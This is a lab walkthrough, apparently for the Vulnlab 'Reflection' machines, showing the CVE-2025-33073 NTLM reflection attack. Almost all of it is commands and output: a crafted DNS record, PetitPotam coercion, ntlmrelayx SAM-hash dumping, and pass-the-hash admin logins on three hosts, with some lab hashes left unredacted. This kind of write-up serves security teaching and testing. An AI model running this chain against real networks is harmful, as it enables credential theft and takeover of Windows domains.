This post only demonstrates the attack. For a detailed writeup on the “Reflection” chain, I’ve already created one, which you can find here: https://seriotonctf.github.io/Reflection-Vulnlab/

Recently, Synacktiv published a blog post about CVE-2025-33073, an NTLM Reflection attack. In this post, I’ll demonstrate how this vulnerability can be leveraged in the “Reflection” chain from Vulnlab. For an in-depth analysis, refer to the original blog post by Synacktiv

Conditions

For this attack to succeed, the following conditions must be met:

  • SMB signing must be disabled on the target
  • The attacker must have permission to create DNS records

Attack

First, we need to check whether our targets have SMB signing disabled or not

$ nxc smb targets.txt
SMB 10.10.163.39 445 WS01 [*] Windows 10 / Server 2019 Build 19041 x64 (name:WS01) (domain:reflection.vl) (signing:False) (SMBv1:False)

SMB 10.10.163.37 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:reflection.vl) (signing:False) (SMBv1:False)

SMB 10.10.163.38 445 MS01 [*] Windows Server 2022 Build 20348 x64 (name:MS01) (domain:reflection.vl) (signing:False) (SMBv1:False)

Running nxc against 3 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

netexec confirms that SMB signing is not enforced (signing:False) on all three target machines, making them potentially vulnerable to this attack

Registering a DNS Record

We need to register a new DNS record, in this case localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA and make it point to our IP address

$ dnstool.py -u 'reflection.vl\abbie.smith' -p '<REDACTED>' 10.10.163.37 -a add -d 10.8.0.210 -r 'localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA'
[-] Connecting to host...

[-] Binding to host

[+] Bind OK

[-] Adding new record

[+] LDAP operation completed successfully

Alternatively, we can create a new DNS record using the hostname of the machine we want to exploit, for example, DC01

$ dnstool.py -u 'reflection.vl\abbie.smith' -p '<REDACTED>' 10.10.163.37 -a add -d 10.8.0.210 -r 'DC011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA'
[-] Connecting to host...

[-] Binding to host

[+] Bind OK

[-] Adding new record

[+] LDAP operation completed successfully

Let’s verify that the DNS record has been created and is pointing to our attacker’s IP address

$ dnstool.py -u 'reflection.vl\abbie.smith' -p '<REDACTED>' 10.10.163.37 -a query -d 10.8.0.210 -r 'localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA'
[-] Connecting to host...

[-] Binding to host

[+] Bind OK

[+] Found record localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA

DC=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA,DC=reflection.vl,CN=MicrosoftDNS,DC=DomainDnsZones,DC=reflection,DC=vl

[+] Record entry:

- Type: 1 (A) (Serial: 90)

- Address: 10.8.0.210

Alternatively, we can use the dig command

$ dig localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.reflection.vl @DC01.reflection.vl

; <<>> DiG 9.18.30-0ubuntu0.24.04.2-Ubuntu <<>> localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.reflection.vl @DC01.reflection.vl

;; global options: +cmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 20625

;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1


;; OPT PSEUDOSECTION:

; EDNS: version: 0, flags:; udp: 4000

;; QUESTION SECTION:

;localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.reflection.vl. IN A


;; ANSWER SECTION:

localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.reflection.vl. 180 IN A 10.8.0.210


;; Query time: 63 msec

;; SERVER: 10.10.163.37#53(DC01.reflection.vl) (UDP)

;; WHEN: Sun Jun 15 15:28:07 CET 2025

;; MSG SIZE rcvd: 112
$ dig DC011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.reflection.vl @DC01.reflection.vl

; <<>> DiG 9.18.30-0ubuntu0.24.04.2-Ubuntu <<>> DC011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.reflection.vl @DC01.reflection.vl

;; global options: +cmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 13727

;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1


;; OPT PSEUDOSECTION:

; EDNS: version: 0, flags:; udp: 4000

;; QUESTION SECTION:

;DC011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.reflection.vl. IN A


;; ANSWER SECTION:

DC011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.reflection.vl. 180 IN A 10.8.0.210


;; Query time: 62 msec

;; SERVER: 10.10.163.37#53(DC01.reflection.vl) (UDP)

;; WHEN: Sun Jun 15 15:34:06 CET 2025

;; MSG SIZE rcvd: 156

Coercion

Now, we just need to coerce authentication to the DNS record we previously created

$ PetitPotam.py -d reflection.vl -u abbie.smith -p '<REDACTED>' localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA DC01.reflection.vl


___ _ _ _ ___ _

| _ \ ___ | |_ (_) | |_ | _ \ ___ | |_ __ _ _ __

| _/ / -_) | _| | | | _| | _/ / _ \ | _| / _` | | ' \

_|_|_ \___| _\__| _|_|_ _\__| _|_|_ \___/ _\__| \__,_| |_|_|_|

_| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""|

"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'


PoC to elicit machine account authentication via some MS-EFSRPC functions

by topotam (@topotam77)


Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN




Trying pipe lsarpc

[-] Connecting to ncacn_np:DC01.reflection.vl[\PIPE\lsarpc]

[+] Connected!

[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e

[+] Successfully bound!

[-] Sending EfsRpcOpenFileRaw!

[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!

[+] OK! Using unpatched function!

[-] Sending EfsRpcEncryptFileSrv!

[+] Got expected ERROR_BAD_NETPATH exception!!

[+] Attack worked!

PetitPotam coercion output
We can also use the coerce_plus module from Netexec

$ nxc smb DC01.reflection.vl -u abbie.smith -p '<REDACTED>' -M coerce_plus -o METHOD=Petitpotam LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA
SMB 10.10.201.85 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:reflection.vl) (signing:False) (SMBv1:False)

SMB 10.10.201.85 445 DC01 [+] reflection.vl\abbie.smith:<REDACTED>

COERCE_PLUS 10.10.201.85 445 DC01 VULNERABLE, PetitPotam

COERCE_PLUS 10.10.201.85 445 DC01 Exploit Success, lsarpc\EfsRpcAddUsersToFile

Attack Worked

As you can see, the attack was successful, and we were able to perform a SAM dump because the SYSTEM token was used for authentication

$ ntlmrelayx.py -t "smb://DC01.reflection.vl" -smb2support
Impacket v0.13.0.dev0+20250415.195618.c384b5fb - Copyright Fortra, LLC and its affiliated companies


[*] Protocol Client IMAP loaded..

[*] Protocol Client IMAPS loaded..

[*] Protocol Client LDAP loaded..

[*] Protocol Client LDAPS loaded..

[*] Protocol Client SMTP loaded..

[*] Protocol Client RPC loaded..

[*] Protocol Client HTTP loaded..

[*] Protocol Client HTTPS loaded..

[*] Protocol Client DCSYNC loaded..

[*] Protocol Client SMB loaded..

[*] Protocol Client MSSQL loaded..

[*] Running in relay mode to single host

[*] Setting up SMB Server on port 445

[*] Setting up HTTP Server on port 80

[*] Setting up WCF Server on port 9389

[*] Setting up RAW Server on port 6666

[*] Multirelay disabled


[*] Servers started, waiting for connections

[*] SMBD-Thread-5 (process_request_thread): Received connection from 10.10.163.37, attacking target smb://DC01.reflection.vl

[*] Authenticating against smb://DC01.reflection.vl as / SUCCEED

[*] SMBD-Thread-7 (process_request_thread): Received connection from 10.10.163.37, attacking target smb://DC01.reflection.vl

[*] Service RemoteRegistry is in stopped state

[*] Authenticating against smb://DC01.reflection.vl as / SUCCEED

[*] Starting service RemoteRegistry

[*] Target system bootKey: 0xfcb176024780bc221b4c7b3f35e16dfd

[*] Target system bootKey: 0xfcb176024780bc221b4c7b3f35e16dfd

[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)

[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)

Administrator:500:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::

Administrator:500:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

[*] Done dumping SAM hashes for host: dc01.reflection.vl

[*] Done dumping SAM hashes for host: dc01.reflection.vl

[*] Stopping service RemoteRegistry

Output showing the NTLM reflection attack worked

$ nxc smb DC01.reflection.vl -u administrator -H <REDACTED>
SMB 10.10.163.37 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:reflection.vl) (signing:False) (SMBv1:False)

SMB 10.10.163.37 445 DC01 [+] reflection.vl\administrator:<REDACTED> (Pwn3d!)

In the same way, we can target MS01 and WS01

MS01

$ PetitPotam.py -d reflection.vl -u abbie.smith -p '<REDACTED>' localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA ms01.reflection.vl


___ _ _ _ ___ _

| _ \ ___ | |_ (_) | |_ | _ \ ___ | |_ __ _ _ __

| _/ / -_) | _| | | | _| | _/ / _ \ | _| / _` | | ' \

_|_|_ \___| _\__| _|_|_ _\__| _|_|_ \___/ _\__| \__,_| |_|_|_|

_| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""|

"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'


PoC to elicit machine account authentication via some MS-EFSRPC functions

by topotam (@topotam77)


Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN




Trying pipe lsarpc

[-] Connecting to ncacn_np:ms01.reflection.vl[\PIPE\lsarpc]

[+] Connected!

[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e

[+] Successfully bound!

[-] Sending EfsRpcOpenFileRaw!

[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!

[+] OK! Using unpatched function!

[-] Sending EfsRpcEncryptFileSrv!

[+] Got expected ERROR_BAD_NETPATH exception!!

[+] Attack worked!
$ ntlmrelayx.py -t "smb://MS01.reflection.vl" -smb2support
Impacket v0.13.0.dev0+20250415.195618.c384b5fb - Copyright Fortra, LLC and its affiliated companies


[*] Protocol Client IMAPS loaded..

[*] Protocol Client IMAP loaded..

[*] Protocol Client LDAPS loaded..

[*] Protocol Client LDAP loaded..

[*] Protocol Client SMTP loaded..

[*] Protocol Client RPC loaded..

[*] Protocol Client HTTPS loaded..

[*] Protocol Client HTTP loaded..

[*] Protocol Client DCSYNC loaded..

[*] Protocol Client SMB loaded..

[*] Protocol Client MSSQL loaded..

[*] Running in relay mode to single host

[*] Setting up SMB Server on port 445

[*] Setting up HTTP Server on port 80

[*] Setting up WCF Server on port 9389

[*] Setting up RAW Server on port 6666

[*] Multirelay disabled


[*] Servers started, waiting for connections

[*] SMBD-Thread-5 (process_request_thread): Received connection from 10.10.163.38, attacking target smb://MS01.reflection.vl

[*] Authenticating against smb://MS01.reflection.vl as / SUCCEED

[*] SMBD-Thread-7 (process_request_thread): Received connection from 10.10.163.38, attacking target smb://MS01.reflection.vl

[*] Service RemoteRegistry is in stopped state

[*] Authenticating against smb://MS01.reflection.vl as / SUCCEED

[*] Starting service RemoteRegistry

[*] Target system bootKey: 0xf0093534e5f21601f5f509571855eeee

[*] Target system bootKey: 0xf0093534e5f21601f5f509571855eeee

[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)

[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)

Administrator:500:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::

Administrator:500:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:bb5d8648678f590b8b3051e24a985345:::

WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:bb5d8648678f590b8b3051e24a985345:::

labadm:1000:aad3b435b51404eeaad3b435b51404ee:2a50f9a04b270a24fcd474092ebd9c8e:::

[*] Done dumping SAM hashes for host: ms01.reflection.vl

labadm:1000:aad3b435b51404eeaad3b435b51404ee:2a50f9a04b270a24fcd474092ebd9c8e:::

[*] Done dumping SAM hashes for host: ms01.reflection.vl

[*] Stopping service RemoteRegistry
$ nxc smb MS01.reflection.vl -u administrator -H <REDACTED> --local-auth
SMB 10.10.163.38 445 MS01 [*] Windows Server 2022 Build 20348 x64 (name:MS01) (domain:MS01) (signing:False) (SMBv1:False)

SMB 10.10.163.38 445 MS01 [+] MS01\administrator:<REDACTED> (Pwn3d!)

WS01

$ PetitPotam.py -d reflection.vl -u abbie.smith -p '<REDACTED>' localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA WS01.reflection.vl


___ _ _ _ ___ _

| _ \ ___ | |_ (_) | |_ | _ \ ___ | |_ __ _ _ __

| _/ / -_) | _| | | | _| | _/ / _ \ | _| / _` | | ' \

_|_|_ \___| _\__| _|_|_ _\__| _|_|_ \___/ _\__| \__,_| |_|_|_|

_| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""|

"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'


PoC to elicit machine account authentication via some MS-EFSRPC functions

by topotam (@topotam77)


Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN




Trying pipe lsarpc

[-] Connecting to ncacn_np:WS01.reflection.vl[\PIPE\lsarpc]

[+] Connected!

[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e

[+] Successfully bound!

[-] Sending EfsRpcOpenFileRaw!

[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!

[+] OK! Using unpatched function!

[-] Sending EfsRpcEncryptFileSrv!

[+] Got expected ERROR_BAD_NETPATH exception!!

[+] Attack worked!
$ ntlmrelayx.py -t "smb://WS01.reflection.vl" -smb2support
Impacket v0.13.0.dev0+20250415.195618.c384b5fb - Copyright Fortra, LLC and its affiliated companies


[*] Protocol Client IMAPS loaded..

[*] Protocol Client IMAP loaded..

[*] Protocol Client LDAPS loaded..

[*] Protocol Client LDAP loaded..

[*] Protocol Client SMTP loaded..

[*] Protocol Client RPC loaded..

[*] Protocol Client HTTPS loaded..

[*] Protocol Client HTTP loaded..

[*] Protocol Client DCSYNC loaded..

[*] Protocol Client SMB loaded..

[*] Protocol Client MSSQL loaded..

[*] Running in relay mode to single host

[*] Setting up SMB Server on port 445

[*] Setting up HTTP Server on port 80

[*] Setting up WCF Server on port 9389

[*] Setting up RAW Server on port 6666

[*] Multirelay disabled


[*] Servers started, waiting for connections

[*] SMBD-Thread-5 (process_request_thread): Received connection from 10.10.163.39, attacking target smb://WS01.reflection.vl

[*] Authenticating against smb://WS01.reflection.vl as / SUCCEED

[*] SMBD-Thread-7 (process_request_thread): Received connection from 10.10.163.39, attacking target smb://WS01.reflection.vl

[*] Service RemoteRegistry is in stopped state

[*] Authenticating against smb://WS01.reflection.vl as / SUCCEED

[*] Service RemoteRegistry is disabled, enabling it

[*] Starting service RemoteRegistry

[*] Target system bootKey: 0x7ed33ac4a19a5ea7635d402e58c0055f

[*] Target system bootKey: 0x7ed33ac4a19a5ea7635d402e58c0055f

[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)

[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)

Administrator:500:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::

Administrator:500:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:236728438532f0f1a57360173bda0575:::

WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:236728438532f0f1a57360173bda0575:::

labadm:1001:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::

[*] Done dumping SAM hashes for host: ws01.reflection.vl

labadm:1001:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::

[*] Done dumping SAM hashes for host: ws01.reflection.vl

[*] Stopping service RemoteRegistry

[*] Restoring the disabled state for service RemoteRegistry
$ nxc smb WS01.reflection.vl -u administrator -H <REDACTED> --local-auth
SMB 10.10.163.39 445 WS01 [*] Windows 10 / Server 2019 Build 19041 x64 (name:WS01) (domain:WS01) (signing:False) (SMBv1:False)

SMB 10.10.163.39 445 WS01 [+] WS01\administrator:<REDACTED> (Pwn3d!)

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